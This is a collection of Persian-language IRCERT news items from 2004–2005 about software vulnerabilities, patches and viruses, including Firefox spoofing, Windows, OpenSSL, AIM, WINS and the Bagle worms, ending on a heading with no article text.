بسیاری از محققان می گویند که شرکتها و افراد باید پس از ارائه زمان کافی به شرکتهای تولیدکننده نرم افزار جهت ترمیم و اصلاح برنامه، اطلاعات حفره یافت شده را در اختیار عموم بگذارند. معمولا تولیدکنندگان زمان مناسب جهت ترمیم را یک ماه می دانند.

یکی از مدیران شرکت امنیتی PivX Solutions معتقد است که بین بازاریابی برای محصولات و انتشار حفره های امنیتی باید مرز گذاشت. وی می گوید:" شما به عنوان یک شرکت امنیتی باید پیش از انجام هر کاری اثر آن را بر امنیت اینترنت مورد بررسی قرار دهید. PivX راهنماییهای امنیتی برای مشکلات نرم افزارها را ارائه کرده است اما همیشه به مایکروسافت زمان کافی را برای ترمیم نرم افزارهای خود داده است. حفره های امنیتی خطرناکتر از آن هستند که از آنها به عنوان ابزار بازاریابی استفاده کنیم."

تولیدکنندگان نرم افزار گاها از محققانی که به انها فرصت کافی جهت ترمیم مشکلات را نمی دهند، عصبانی می شوند. حدود یک سال پیش سایت مشهور اطلاع رسانی بازیهای کامپیوتری، ameSpy ، یک هشدار رسمی برای یک محقق امنیتی ایتالیایی فرستاد. این محقق حفره هایی را در محصولات این شرکت یافته بود.


﻿ IRCERT - اخبار و هشدارها - Firefox هویت ربایی از طریق حفره

هویت ربایی از طریق حفره Firefox

7 ژانویه 2005 - 18 دی 1383

حفره امنیتی موجود در Firefox ، کاربران این مرورگر را در مقابل حملات هویت ربایی بی حفاظ گذاشته است.

حفره مزبور که در Mozilla Firefox 1.0 وجود دارد و جزئیات آن توسط Secunia منتشر شده است، می تواند به یک هکر اجازه دهد تا زمانی که یک کاربر با استفاده از این مرورگر قصد دریافت آیتمی را دارد، یک URL تقلبی را در باکس دریافت فایل قرار دهد. این حفره از آنجا ناشی می شود که باکس مزبور امکان نمایش مسیرها و زیر دامنه های طولانی را می دهد و می تواند برای پنهان کردن منبع واقعی دریافت فایل از این امکان سوء استفاده کرد.

میکو هایپونن - مدیر بخش تحقیقات شرکت F-Secure - معتقد است که این حفره می تواند کاربران Firefox را در مقابل مجرمان اینترنتی بی دفاع بگذارد. به گفته وی در حملات هویت ربایی بیش از سایرین از این حفره سوء استفاده خواهند کرد. کافی است کاربر این مرورگر روی لینکی در یک ایمیل که به یک سایت قلابی اشاره می کند کلیک کند و برنامه ای را از آن سایت دریافت کند تا در دام هویت ربایان گرفتار شود. البته در ظاهر کاربر برنامه را از یک سایت قانونی و معتبر دریافت کرده است و لذا با خیال راحت این کار را انجام می دهد.

Secunia درجه خطر این حفره را 2 از 5 اعلام کرده است.

به عقیده یکی از مشاوران شرکت کاسپرسکی، هویت ربایان علاقه ای به استفاده از این حفره ندارند چون بیشتر بازار در اختیار مرورگر IE‌است. البته با توجه به رشد استفاده از Firefox طی چند ماه اخیر، چنین حفره هایی در آینده بیشتر مورد توجه هکرها خواهند بود.

این حفره در محصولات Mozilla 1.7.3 برای لینوکس، Mozilla 1.7.5 برای ویندوز و Mozilla Firefox 1.0 وجود دارد و هنوز راهکاری برای آن مشخص نشده است. راهنمایی امنیتی Secunia به صورت آنلاین در دسترس است.


﻿ IRCERT - گران و بلا استفاده - اخبارها و هشدارها Mac Antivirus

ضدویروس Mac ، گران و بلا استفاده

23 ژوئن 2004 – 3 تیر 1383

شرکت Sophos – تولیدکننده ضدویروس – امروز اعلام کرد که یک نسخه جدید و به روز از نرم افزار ضدویروس خود را برای سیستم عامل Mac عرضه کرده است. بنابه گفته این شرکت نسخه عرضه شده کاربری بهتر و ساده تری دارد اما از نظر قیمت باید تعدیل شود تا برای کاربران این سیستم عامل مناسب تر باشد، سیستم عاملی که تا به حال به شکل جدی درگیر مشکل ویروسهای فراگیر نشده است.

فیل وود – مدیر محصولات شرکت Sophos – می گوید :“ علیرغم ذهنیت موجود مبنی بر عدم وجود و گسترش ویروسها در Mac ،‌کاربران این سیستم عامل باید این تهدید را جدی بگیرند.“

بنابه گفته Sophos دو مشخصه جدید در این نرم افزار وجود دارد که مدیریت برنامه ضدویروس را در بخشهای تجاری و آموزش – دو حوزه اصلی مورد نظر نرم افزار ضدویروس Mac – تسهیل می کند.این برنامه به کاربران اجازه می دهد تا نرم افزارشان را حتی زمانی که به اینترنت متصل نیستند ، به روزرسانی کنند. همچنین به مدیران سیستم اجازه می دهد تا به صورت متمرکز به روزرسانی دوره ای نرم افزار را مدیریت کنند.

رقبای Sophos یعنی Symantec و Network Associates نیز محصولات خود را برای سیستم عامل Mac تحت عناوین Norton و McAfee عرضه می کنند.

علیرغم عدم وجود مشکلات جدی امنیتی در این سیستم عامل ، کارشناسان و مدیران امنیتی، شرکت Apple را به دلیل عدم اطلاع رسانی مناسب در این زمینه نکوهش می کنند. این شرکت گفته است که در تلاش است تا این مشکل خود را بهبود بخشد.

البته اخیرا مشاهده شده است که پتانسیل بروز مشکلات امنیتی جدی در Mac وجود دارد . برای مثال در ماه مه یک حفره امنیتی مهم در Mac کشف شد که می توانست برای گسترش ویروسهای مبتنی بر وب مورد استفاده قرار گیرد. شرکت Apple در ماه جاری اصلاحیه مربوط به این حفره را عرضه کرده است.

با وجود این به نظر می رسد تا زمانی که مثلا یک ویروس با گسترش بالا در این سیستم عامل دیده نشود ، کاربران آن به خرید نرم افزارهای ضدویروس علاقه زیادی نشان نخواهند داد.


﻿ IRCERT - به حفره های امنیتی نمره داده می شود - اخبارها و هشدارها

به حفره های امنیتی نمره داده می شود

15 فوریه 2005 - 27 بهمن 1383

شرکتهای سیسکو، Symantec و Qualys قصد دارند سیستم مشترکی را راه اندازی کنند که به حفره های امنیتی امتیاز دهی می کند تا مشخص شود چه مشکلی اولویت بیشتری دارد و اصلاحیه آن مهمتر است.

این امتیاز از سه عدد تشکیل خواهد شد. اولین عدد تخمین میزان جدی بودن مشکل امنیتی است. دومین عدد با توجه به مدت زمانی که این حفره وجود داشته و فعال بوده است و چه اصلاحیه هایی برای آن صادر شده است. سومین عدد با توجه به میزان تهدیدی که این حفره برای شبکه های تجاری ایجاد می کند تعیین می شود. هرعدد با اندازه گیری 5 یا 6 فاکتور محاسبه می شود.

اولین نسخه سیستم در روز 29 بهمن معرفی خواهد شد. شرکتها می توانند با کمک این سیستم سطح ریسک شبکه خود را محاسبه کنند و با تولید یک عدد به راحتی تحلیل ریسک انجام دهند.

این سیستم که در کنفرانس RSA امسال ارائه خواهد شد، نتیجه شراکت Redwood Shores، Qualys، سیسکو و Symantec‌ است. سیستم فوق میزان جدیت حفره ها را در بسترهای مختلف مانند ویندوز، لینوکس و Mac OS X اندازه گیری می کند.


﻿ IRCERT - اولین ویروس 64 بیتی - اخبارها و هشدارها

اولین ویروس 64 بیتی

27 مه – 7 خرداد

شرکت Symantec امروز اعلام کرد که ویروسی با نام W64.Rugrat.3344 را شناسایی کرده است که گفته می شود اولین تهدید جدی برای ویندوزهای 64 بیتی است.

بنابر گزارشهای رسیده این کرم اینترنتی تنها برای نشان دادن وجود حفره امنیتی در ویندوز 64 بیتی نوشته شده و به طور گسترده درحال توزیع و انتشار نیست، اما گفته می شود این کرم می تواند فایلهای ویدوز را با موفقیت مورد حمله قرار دهد. مدیر تیم پاسخگویی امنیتی Symantec گفته است که این ویروس فایلهای 32 بیتی را آلوده نمی کند و روی ویندوز 32 بیتی اجرا نمی شود. لذا از آنجایی که هنوز سیستم عامل 64 بیتی همگانی نشده ، این ویروس یک خطر جدی به شمار نمی آید. اما از آنجایی که بازار چیپ های 64 بیتی رو به رشد است ، نمونه های بیشتری از این ویروسها نوشته خواهد شد.

تا انتهای سال 2005 بیشتر چیپ های اینتل توانایی اجرای 64 بیتی خواند داشت و پردازنده های AMD نیز همگی به طور مجازی 64 بیتی خواهند بود. مایکروسافت نیز سعی دارد به این رشد سرعت ببخشد و از سازندگان سخت افزار خواسته است تا نوشتن درایورهای 64 بیتی را آغاز کنند.

Symantec پیش بینی کرده است که نسخه های مختلف و زیادی از این ویروس منتشر نخواهد شد، چون کار با آن به دانش فنی زیادی نیاز دارد. این شرکت اعلام کرده است که ویروس مزبور در معماری 64 بیتی اینتل (IA64 ) تولید شده و تمامی فایلهای اجرایی IA64 بجز فایلهای dll را آلوده می کند. متخصصان امنیتی می گویند که این ویروس فایلهای موجود در همان دایرکتوری و زیردایرکتوری های مربوطه را آلوده می کند. Symantec درجه خطر این ویروس را 1 (کمترین میزان) اعلام کرده است. اینتل و مایکروسافت اظهار نظری در این باره نداشته اند.


﻿ IRCERT - اخبار و هشدارها- CE اولین ویروس برای ویندوز

اولین ویروس برای ویندوز CE

16 جولای 2004 – 26 تیر 1383

یک ویروس که می تواند ویندوز CE را آلوده کند ، کشف شده است. این ویروس اولین اشکال امنیتی از این دست است که برای سیستم عاملهای handheld کشف شده است.

شرکت رومانیایی BitDefender اعلام کرده است که از طریق اثبات نظری می تواند نشان دهد که ویروسی برای سیستم عامل مایکروسافت برای تلفنهای هوشمند و سایر وسایل handheld وجود دارد.نویسنده این کد خطرناک ، یکی از اعضای گروه 29A VX است که ویروسی را برای سیستم عامل Symbian منتشر کردند.

BitDefender معتقد است که این اولین ویروس شناخته شده برای ویندوز CE است. مایکروسافت هنوز دراین باره اظهار نظری نکرده است. BitDefender طی بیانیه ای اعلام کرده است که نویسنده این ویروس همانند نویسنده Cabir ( ویروس سیستم عامل Symbian ) قصد نداشته آن را به طور گسترده منتشر کند ، ‌بلکه تصمیم داشته تا امکان آلودگی دستگاههای دارای ویندوز CE را به یک ویروس نشان دهد و اثبات کند. بنابر گزارشها این کد نیز به جای انتشار عمومی به متخصصان امنیت شبکه فرستاده شده است.

پیش از این تحلیلگران امنیتی حدس زده بودند که دستگاههای handheld و حتی تلفنهای VoIP می توانند به عنوان یک هدف مناسب مورد حمله ویروس نویسان قرار بگیرند اما تا به حال مشکل جدی و مهمی پیش نیامده است.

کاربران بایستی یک نرم افزار را دریافت می کردند تا کرم Cabir منتشر شود و لذا متخصصان امکان انتشار آن را کم می دانستند. ویروس ویندوز CE نیز یک message box را نمایش می دهد و از کاربر اجازه می خواهد تا به سایر فایلها منتشر شود.


﻿ IRCERT - اصلاحیه ای برای مشکل امنیتی ویندوز - اخبارها و هشدارها

اصلاحیه ای برای مشکل امنیتی ویندوز

10 مه 2005 - 20 اردیبهشت 1384

امروز مایکروسافت در ادامه انتشار اصلاحیه های ماهیانه خود، یک اصلاحیه مهم امنیتی را برای رفع مشکل امنیتی ویندوز ارائه کرد. این حفره که از نوع script injection بود به یک هکر اجازه می دهد تا کنترل کامپیوتر قربانی را به دست بگیرد.

پیش از این، شرکت مایکروسافت دو هشدار در قالب راهنماییهای امنیتی منتشر کرده بود و با تایید وجود این حفره، گردش کاری را تا پیش از عرضه اصلاحیه ارائه کرده بود.

بولتن امنیتی ماهانه به حفره ای اشاره دارد که در SP3 و SP4 در ویندوز 2000 پیدا شده و درجه اهمیت آن important است. این حفره در نسخ قدیمی تر ویندوز یعنی 98، 98SE و ME نیز وجود دارد.

در بولتن امنیتی مایکروسافت آمده است:“ یک حفره در اجرای کد از را ه دور در زمانی که Web View در Windows Explorer بعضی کاراکترهای HTML را در فیلدهای پیش نمایش به کار می گیرد، وجود دارد. اگر بتوان کاربری را قانع کرد که پیش نمایش یک فایل خطرناک را ببیند، هکر می تواند کدی دلخواه را روی سیستم وی اجرا کند.“

به گفته مایکروسافت هکر می تواند از طریق این حفره هر برنامه ای را نصب کند، ‌داده ها را ببیند، تغییر دهد و یا حذف کند و همچنین اکانتهای جدیدی با اختیارات یک کاربر کامل به وجود آورد.

Symantec به این حفره درجه Medium داده است چون کاربر باید برای سوء ‌استفاده از این حفره به صورت ناآگاهانه با هکر همکاری کند.برای مثال باید یک فایل مخرب را دریافت کند و آن را در محیط Windows Explorer‌ ببیند.

اکثر نسخ جدید سیستم عامل تحت تاثیر این مشکل قرار ندارند. مایکروسافت به کاربران ویندوز 2000 با SP3 و SP4 توصیه کرده است که اصلاحیه مربوطه را نصب کنند اما برای کاربران نسخ قدیمی که دیگر پشتیبانی نمی شوند، راهکاری ارائه نکرده است.


﻿ IRCERT - اخبار و هشدارها- OpenSSL اصلاحیه های امنیتی برای

صفحه اول > اخبار و هشدارها

اصلاحیه های امنیتی برای OpenSSL

۱۷ مارس – ۲۷ اسفند

گروه پشتیبان OpenSSL – یک برنامه مشهور سورس آزاد که برای امنیت وب به کار می رود – دو اصلاحیه امنیتی برای حفره های موجود در این برنامه که امکان حمله DoS را به هکرها می دهد منتشر کرده است. این مشکلات بیشتر در سیستم های لینوکس که این برنامه را نصب کرده اند خود را نشان می دهند. همچنین این حفره ها می توانند بسیاری از روترها و تجهیزات شبکه را که با این برنامه کار می کنند با مشکل روبرو کند. شرکت سیسکو با انتشار یک راهنمایی امنیتی اشاره کرده است که فایروالهای PIX این شرکت و بعضی روترهای آن می توانند تحت تاثیر این مشکلات قرار گیرند.

OpenSSL یک پیاده سازی آزاد از رمزنگاری SSL ( Secure Sockets Layer ) است که بوسیله بسیاری ازمرورگرهای وب برای تامین امنیت داده های در حال تبادل بر روی شبکه اینترنت مورد استفاده قرار می گیرد. همچنین این نرم افزار پایه بخش مهمی از سرور وب Apache را تشکیل می دهد. Apache سرور مورد استفاده بیش از دو سوم سرورهای اینترنت است.

حفره های امنیتی معرفی شده امکان در اختیار گرفتن کامپیوتر قربانی را به هکر نمی دهند اما هکرها می توانند با انجام حمله DoS فعالیت نرم افزار و کاربران را مختل کنند.

مطابق با تحقیق انجام گرفته در نوامبر گذشته نیمی از سرورهای دارای OpenSSL بروز شده نیستند و اصلاحیه های امنیتی ارایه شده بر روی آنها نصب نشده است.


﻿ IRCERT - اخبار و هشدارها - IE مشکلات مهم امنیتی در ویندوز و

مشکلات مهم امنیتی در ویندوز و IE

14 ژوئن 2005 - 24 خرداد 1384

مایکروسافت امروز 3 اصلاحیه مهم امنیتی ارائه کرد تا حفره هایی را بپوشاند که می توانند به یک هکر اجازه دهند تا کنترل یک کامپیوتر را از راه دور در اختیار بگیرد.

یکی از اصلاحیه ها به حفره های موجود در مرورگر IE برمی گردد و سایرین مشکلات موجود در ویندوز در بخشهای HTML Help و Server Message Block را پوشش می دهند. این سه اصلاحیه طی سه بولتن امنیتی و همراه با 7 بولتن دیگر ارائه شده اند.

متخصصان معتقدند که این اصلاحیه ها بسیار مهم هستند چون مشکلات و حفره های مورد نظر این اصلاحیه ها در اکثر کامپیوترها وجود دارند و امکان اجرای از راه دور کد بر روی سیستم را فراهم می آورند.

بولتنهای امنیتی دیگر شامل چهار مورد با درجه متوسط است که ویندوز و Exchange mail server را تحت تاثیر قرار می دهد و سه مشکل که به Windows Services for Unix، Internet Security and Acceleration Server و Small Business Server بر می گردد.

سیستم تعیین درجه خطر مایکروسافت زمانی یک مورد را بسیار جدی و مهم یا critical - بالاترین درجه خطر - اعلام می کند که به یک کرم اینترنتی اجازه دهد تا بدون دخالت کاربر، خود را منتشر کند. مشکلی مهم یا important تلقی می شود که داده های کاربران یا منابع سیستم را با تهدید جدی مواجه کند، در حالی که مشکلات با درجه متوسط یا moderate با تغییر و پیکربندی پیش فرض ها قابل تحدید است.

به گفته مایکروسافت سه حفره critical ذکر شده به یک هکر اجازه می دهند کنترل سیستم را در دست بگیرد. مشکل مربوط به IE به حفره موجود در PNG Image Rendering Memory Corruption برمی گردد و نسخه های مختلف مانند IE6 در XP SP2 را تحت تاثیر قرار می دهد.

تصاویر PNG بسیار شبیه JPEG است و در بسیاری از فرمتهای چند رسانه ای مورد استفاده قرار می گیرد. حفره های IE به فیلدها اجازه می دهد تا هنگام خواندن یا پردازش تصویر، نقص پیدا کنند. در نتیجه امکان بروز خطای سرریز بافر و در اختیار گرفتن سیستم توسط هکر از راه دور به وجود می آید.

متخصصان مشکل PNG را مهمترین مورد می دانند چون حفره به قالب فایل بر می گردد و کاربران معمولا به این مقوله توجهی ندارند.

حفره HTML Help نسخ مختلف مانند XP SP1، XP SP2، 2000 SP3 و 2000 SP4 را تحت تاثیر قرار می دهد.

مشکل موجود در Server Message Block نیز به یک هکر اجازه ورود به یک سیستم را می دهد اما نفوذگر باید برای سوء‌استفاده از حفره بتواند خود را روی سیستم قربانی تایید هویت کند. این مشکل نیز همانند حفره قبلی کاربران نسخ XP SP1، XP SP2، 2000 SP3 و 2000 SP4 را تهدید می کند.


﻿ IRCERT - اخبار و هشدارها - McAfee suite مشکل امنیتی در

مشکل امنیتی در McAfee suite

19 آوریل 2005 - 30 فروردین 1384

بنابه گزارش شرکت مشاوره امنیتی iDefense، یک مشکل امنیتی در McAfee Internet Security Suite 2005 باعث شده است که کاربرانی که از یک سیستم استفاده می کنند بتوانند به فایلهای یکدیگر دسترسی پیدا کنند.

این حفره که در تنظیمات پیش فرض انجام شده طی نصب قرار دارد، به هر فردی امکانات دسترسی مشابه مدیر IT را می دهد. لذا به یک کاربر اجازه داده می شود تا تمامی دسترسی های محدود کننده تعریف شده روی یک کامپیوتر را بردارد. همچنین این حفره به یک کاربر اجازه می دهد نرم افزاری را روی سیستم نصب کند که توسط مدیر شبکه غیرمجاز شمرده شده است.

برای مثال کاربری که یک سیستم اشتراکی با همکاران خود دارد می تواند به فایلهای همکارانش دسترسی پیدا کند و یا برنامه هایی مانند نرم افزارهای P2P را روی سیستم نصب کند.

به گفته iDefense کاربران خانگی تحت تاثیر این مشکل قرار نمی گیرند چون معمولا محدودیتی برای کاربران روی سیستمشان اعمال نمی کنند. البته از آنجایی که این حفره امکان دسترسی از راخ دور به سیستم را نمی دهد به عنوان یک مشکل امنیتی با میزان خطر بالا تلقی نمی شود.

McAfee‌ هنوز پاسخی به این گزارش نداده است.

گفته می شود که این شرکت در حال ارائه اصلاحیه ای برای این نرم افزار است.


﻿ IRCERT - اخبار و هشدارها - Office مشکل امنیتی رمزنگاری

مشکل امنیتی رمزنگاری Office

20 ژانویه 2005 - 1 بهمن 1383

یک متخصص امنیتی هشدار داده است امکانی که در Word‌و Excel‌برای حفاظت از داده ها در نظر گرفته شده دارای یک مشکل امنیتی جدی است به گونه ای که فایلهای تولید شده توسط این نرم افزارها که با کلمه عبور محافظت می شوند، قابل بازگشایی هستند.

این کارشناس سنگاپوری در مقاله خود آورده است که مشکل از آنجا به وجود آمده که برنامه نویسان مایکروسافت به خوبی رمزنگاری را در برنامه های Office‌پیاده سازی نکرده اند.

مایکروسافت درحال بررسی موضوع است. این شرکت در بیانیه ای اعلام کرده است:“ تحقیقات اولیه ما نشان می دهد که این موضوع تهدید مهمی برای کاربران نیست. در بعضی مواقع اگر هکر به چند نسخه از یک فایل رمزشده دسترسی داشته باشد، ممکن است بتواند محتوای آن را بخواند. هکر باید به دو فایل مجزا با یک نام و کلمه عبور دسترسی داشته باشد تا بتواند از حفره امنیتی مزبور استفاده کند.“

مایکروسافت پیش از این نیز به خاطر ضعف در سیستم کلمات عبورش مورد انتقاد قرار گرفته بود. گفته می شود مشکل حاضر شبیه مشکلی است که در سال 99 نیز این شرکت انجام داده بود و این موضوع را بدتر می کند، زیرا کارشناسان معتقدند که مایکروسافت باید از اشتباهات گذشته اش درس بگیرد و آنها را تکرار نکند.


﻿ IRCERT - مشکل امنیتی نسخ قدیمی آفیس - اخبارها و هشدارها

مشکل امنیتی نسخ قدیمی آفیس

7 اکتبر 2004 - 16 مهر 1383

امروز یک شرکت امنیتی هشدار داد که یک مشکل امنیتی در نسخ قدیمی مایکروسافت آفیس امکان اجرای حمله DoS را بر روی سیستمهای دارای این بسته نرم افزاری فراهم می کند.

شرکت امنیتی Secunia در این راهنمایی امنیتی اشاره کرده است که یک اشکال buffer overrun در آفیس 2000 و XP وجود دارد که امکان به دست گرفتن سیستم قربانی را به هکرها می دهد. این شرکت مشکل امنیتی فوق را highly critical ارزیابی کرده است.

بنا به گفته Secunia این مشکل ناشی از شیوه مدیریت ورودی نرم افزار Word در هنگام تجزیه کردن (parsing) فایلهای متنی است. هکرها می توانند با ارسال فایلهای متنی آلوده از این حفره امنیتی استفاده کنند لذا به کاربران هشدار داده شده است که تنها مستندات Word مورد اعتماد را باز کنند.

مایکروسافت اعلام کرده که در حال بررسی موضوع است اما از Secunia نیز انتقاد کرده که پیش از ارائه مشکل به مایکروسافت،‌ آن را عمومی کرده است. سخنگوی مایکروسافت در یک ایمیل اعلام کرده است که تا به حال گزارشی درباره کاربرانی که از طریق این حفره با مشکل روبرو شده باشند دریافت نکرده است.

مایکروسافت گفته است که پس از بررسی های لازم درباره چگونگی عکس العمل تصمیم خواهد گرفت. عکس العمل مایکروسافت می تواند ارائه اصلاحیه در قالب برنامه ماهیانه باشد و یا اینکه اصلاحیه ای جداگانه و خاص ارائه کند.


﻿ IRCERT - اخبار و هشدارها - VPN مشکل امنیتی در رمزنگاری

مشکل امنیتی در رمزنگاری VPN

12 مه 2005 - 22 اردیبهشت 1384

یک موسسه امنیتی هشدار داد که یک مشکل امنیتی در فناوری VPN باعث شده است که هکرها بتوانند نسخه متنی اطلاعات رمز شده در حال تبادل را با کمی تلاش به دست آورند.

تیم پاسخگویی امنیتی ملی بریتانیا طی هشداری در این هفته امنیت شبکه های خصوصی مجازی (VPN) را که از رمزنگاری IPSec و تونل زنی برای ارتباط با شبکه های دور استفاده می کنند،‌زیر سئوال برد.

این مشکل که درجه خطر آن high‌ارزیابی شده است، این امکان را به یک هکر می دهد تا از حرکت بسته های IP در حال تبادل بین دو سیستم IPSec جلوگیری کند. سپس وی می تواند بسته ایجاد شده توسط زیرپروتکلی را که داده در حال انتقال را رمز می کند، تغییر دهد. این کار باعث می شود داده برای یک فرد غیرمجاز قابل رؤیت شود.

بر روی سایت این موسسه آمده است:“ یک هکر می تواند ‌با انجام تغییرات دقیق بر روی بخشهای خاصی از بسته خارجی، تاثیر کنترل شده ای را روی سرآیند بسته رمز شده داخلی انجام دهد. اگر یک هکر جلو این پیغامها را بگیرد، داده متنی آشکار خواهد شد.“

تیم پاسخگویی امنیتی ملی بریتانیا چند راهکار هم برای این موضوع در راهنمایی امنیتی خود ارائه کرده است.


﻿ RCERT - اخبار و هشدارها- AOL شکاف امنیتی در نرم افزار چت

شکاف امنیتی در نرم افزار چت AOL

10 آگوست 2004 – 20 مرداد 1383

شرکت امریکا آنلاین امروز اعلام کرد که نرم افزار چت این شرکت در مقابل یک حمله سرریز بافر قابل نفوذ است و قول داد که طی چند روز آینده اصلاحیه ای برای آن ارائه کند.

مشکل امنیتی مذکور در بخش Away این نرم افزار قرار دارد، بخشی که به کاربران اجازه می دهد تا به دوستانشان بگویند که درحال کار با کامپیوتر نیستند. این حفره در نسخه به روز رسانی جدید نرم افزار پوشانده شده است و انتظار می رود این نسخه تا اواخر این هفته ارائه شود.

اخبار این حفره اواخر روز دوشنبه توسط شرکت های امنیتی Secunia و Internet Security Systems منتشر شد. Secunia این حفره را با درجه خطر بالا توصیف کرده بود که اخطاری برای 36 میلیون کاربر این نرم افزار به حساب می آمد. Secunia در گزارش خود آورده است:“ این مشکل امنیتی از آنجا ناشی می شود که اندازه پیغامهای Away کنترل نمی شود و لذا امکان انجام یک حمله سرریز بافر را فراهم می آورد. کافی است یک پیغام Away با طولی بیش از 1024 بایت ارسال شود تا این مشکل به وجود آید.“

زمانی که حمله سرریز بافر انجام شد،‌ هکر می تواند کامپیوتر قربانی را به یک وب سایت دیگر هدایت کند تا کدهای بیشتری روی آن کامپیوتر قرار گیرد. بنا به گفته AOL ، این حفره زمانی فعال می شود که یک کاربر AOL IM روی یک لینک خطرناک که در یک پیغام یا یک صفحه وب قرار دارد، کلیک کند. نسخه 5.5 این نرم افزار و نسخ قبل از آن را این خطر تهدید می کند. این مشکل در تمام نسخ ویندوزی این نرم افزار وجود دارد.

AOL از یک ماه پیش در حال کار بر روی این مشکل است.


﻿ IRCERT - حفره امنیتی در سرورهای ویندوز - اخبارها و هشدارها

حفره امنیتی در سرورهای ویندوز

30 نوامبر 2004 - 10 آذر 1383

مایکروسافت امروز اعلام کرد که یک مشکل امنیتی در نرم افزار سرور این شرکت می تواند به هکرها این امکان را بدهد که از راه دور حملاتی را علیه سیستم انجام دهند.

این حفره که در Windows Internet Name Service ( WINS ) وجود دارد محصولاتی مانند NT 4.0 ، Windows 2000 Server و Windows Server 2003 را تحت تاثیر قرار می دهد. مایکروسافت غعلا یک گردش کاری برای این مشکل تعریف کرده است تا زمانی که بتواند اصلاحیه آن را آماده و منتشر کند. WINS یک ابزار نام گذاری است که سرور برای تشخیص شماره IP کامپیوترها روی شبکه به کار می برد. ا

مایکروسافت این مشکل را که اولین بار جمعه گذشته توسط شرکت Immunity معرفی شد، به عنوان یک مشکل سرریز بافر از راه دور تعریف کرده است که می تواند به یک هکر اجازه دهد تا برنامه های خطرناکی را روی سرورهای قابل نفوذ اجرا کند.

مایکروسافت اعلام کرده است که محصولات Windows 2000 Professional ، ویندوز XP و ویندوز Me دارای این مشکل امنیتی نیستند. شرکت Secunia درجه خطر این مشکل را moderately critical اعلام کرده است.

مایکروسافت همچنین اعلام کرده است که این ابزار به صورت پیش فرض فعال نیست و معمولا توسط مدیران شبکه ها مورد استفاده قرار نمی گیرد. مایکروسافت تا به حال گزارشی درباره سوء‌استفاده از این حفره دریافت نکرده است.

یکی از سخنگویان مایکروسافت اعلام کرده است که این شرکت در تلاش است تا اصلاحیه مربوط به این مشکل را در برنامه به روز رسانی ماهانه خود ارائه کند. در حال حاضر به مدیران شبکه ها و کاربران توصیه شده است تا درصورت عدم نیاز به این سرویس،‌ آن را غیرفعال کنند. همچنین توصیه شده است که چند پورت از جمله 42 TCP و 42 UDP بسته شوند. سایر جزئیات را می توانید در سایت این شرکت مشاهده کنید.


﻿ IRCERT - های تحت ویندوز و مشکلات امنیتی - اخبارها و هشدارها multi player

media player های تحت ویندوز و مشکلات امنیتی

28 اکتبر 2004 - 7 آبان 1383

کارشناسان امنیتی درباره مشکلات امنیتی متعدد در برنامه های media player غیر مایکروسافتی هشدار دادند.

شرکتهای Apple Computer و RealNetworks اصلاحیه هایی را برای نرم افزارهای یندوزی خود ارائه کرده اند تا حفره های امنیتی مهم را بپوشانند. شرکت Apple امروز Quicktime 6.5.2 را عرضه کرد تا دو حفره امنیتی موجود در این نرم افزار خود را پوشش دهد. دیروز نیز شرکت RealNetworks به کاربران درباره نسخه های RealPlayer 10 ، RealPlayer 10.5 و RealOne Player هشدار داد و از آنها خواست تا آخرین اصلاحیه امنیتی مربوطه را دریافت و نصب کنند.

یکی از حفره ها در Quicktime کاربران سیستم عامل Mac را نیز تحت تاثیر قرار می دهد اما درصورت نصب اصلاحیه ارائه شده در آخر ماه سپتامبر این مشکل برطرف می شود.

Quicktime به روز شده آخرین اصلاحیه ارائه شده از سوی شرکت Apple است. این شرکت معمولا در هر ماه یک به روز رسانی ارائه می دهد و در ماه سپتامبر اصلاحیه ای برای رفع 15 امشکل در سیستم عامل Mac ارائه کرد.

مشکل امنیتی موجود در نرم افزار Real می تواند به هکر اجازه دهد تا با ارائه یک برنامه خطرناک در قالب یک skin ، برنامه مزبور را روی کامپیوتر قربانی اجرا کند. این مشکل شبیه مشکلی ایت که در ماه آگوست در نرم افزار WinAmp دیده شد.


﻿ IRCERT - انتشار برنامه اصلاحیه های امنیتی اوراکل - اخبارها و هشدارها

انتشار برنامه اصلاحیه های امنیتی اوراکل

18 نوامبر 2004 – 28 آبان 1383

اوراکل تاریخ های انتشار اصلاحیه های امنیتی فصلی خود را برای سال 2005 ارائه کرد.

این شرکت امروز اعلام کرد که بولتنهای امنیتی و اصلاحیه های مرتبط برای محصولاتش را در تاریخهای 18 ژانویه، 12 آوریل، 12 جولای و 18 اکتبر منتشر خواهد کرد. این بولتنها مشکلات امنیتی محصولاتی مانند Application Server ، E-Business Suite و Enterprise Manager را پوشش خواهند داد و از طریق وب سایت پشتیبانی این شرکت منتشر خواهند شد.

ماری آن دیویدسون – کارشناس ارشد امنیتی اوراکل – در این باره می گوید:“ سازمانها از برنامه های زمانبندی مشخص برای ترمیم سیستمهای اطلاعاتی خود استقبال می کنند و این روش را ترجیح می دهند. انتشار اصلاحیه های فصلی بالانسی بین انتشار به موقع اصلاحیه جهت حفاظت از کاربران و سهولت نگهداری سیستم برای مشتریان را پدید می آورد.“

از آنجایی که بسیاری از سازمانها و شرکتها اجازه ندارند در پایان فصل یعنی زمان بستن حسابها به به روز رسانی سیستم خود بپردازند، زمانبندی به گونه ای تنظیم شده که این شرکنها با مشکلی روبرو نشوند.اوراکل معتقد است با این شیوه می تواند با یک اصلاحیه چند حفره را بپوشاند و هزینه به روز رسانی را کاهش دهد.


﻿ IRCERT - اخبار و هشدارها- Bagle چهار کرم جدید از سری

صفحه اول > اخبار و هشدارها

چهار کرم جدید از سری Bagle به اینترنت وارد شدند

18 مارس – 28 اسفند

به نظر می آید ویروس Bagle قصد دارد از تمامی حروف الفبا برای ارائه نسخه های گوناگون خود استفاده کند. شرکت های ضدویروس اعلام کرده اند که طی دو روز گذشته , نویسنده این ویروس چهار نسخه دیگر با اسامی Bagle.Q , Bagle.R , Bagle.S و Bagle.T را منتشر کرده است.

این ویروسها سعی می کنند تا با استفاده از یک حفره امنیتی در ActiveX که در ماه آگوست شناسایی شده است , به صورت خودکار و بدون دخالت کاربر , برنامه ای را درون کامپیوتر قربانی قرار دهند و آن برنامه را اجرا کنند.این ویروسها برای کاربرانی که سیستم عامل ویندوز خود را از ماه آگوست به بعد به روز نکرده اند خطرناک خواهند بود.

ویروس نویسان از کرمهای Bagle , NetSky و MyDoom برای به کنترل درآوردن مجموعه بزرگی از کامپیوترهای شخصی استفاده کرده اند و در این زمینه با هم رقابت سختی دارند.


﻿ IRCERT - مهندسی معکوس ممنوع! - اخبارها و هشدارها

مهندسی معکوس ممنوع!

9 مارس 2005 - 19 اسفند 1383

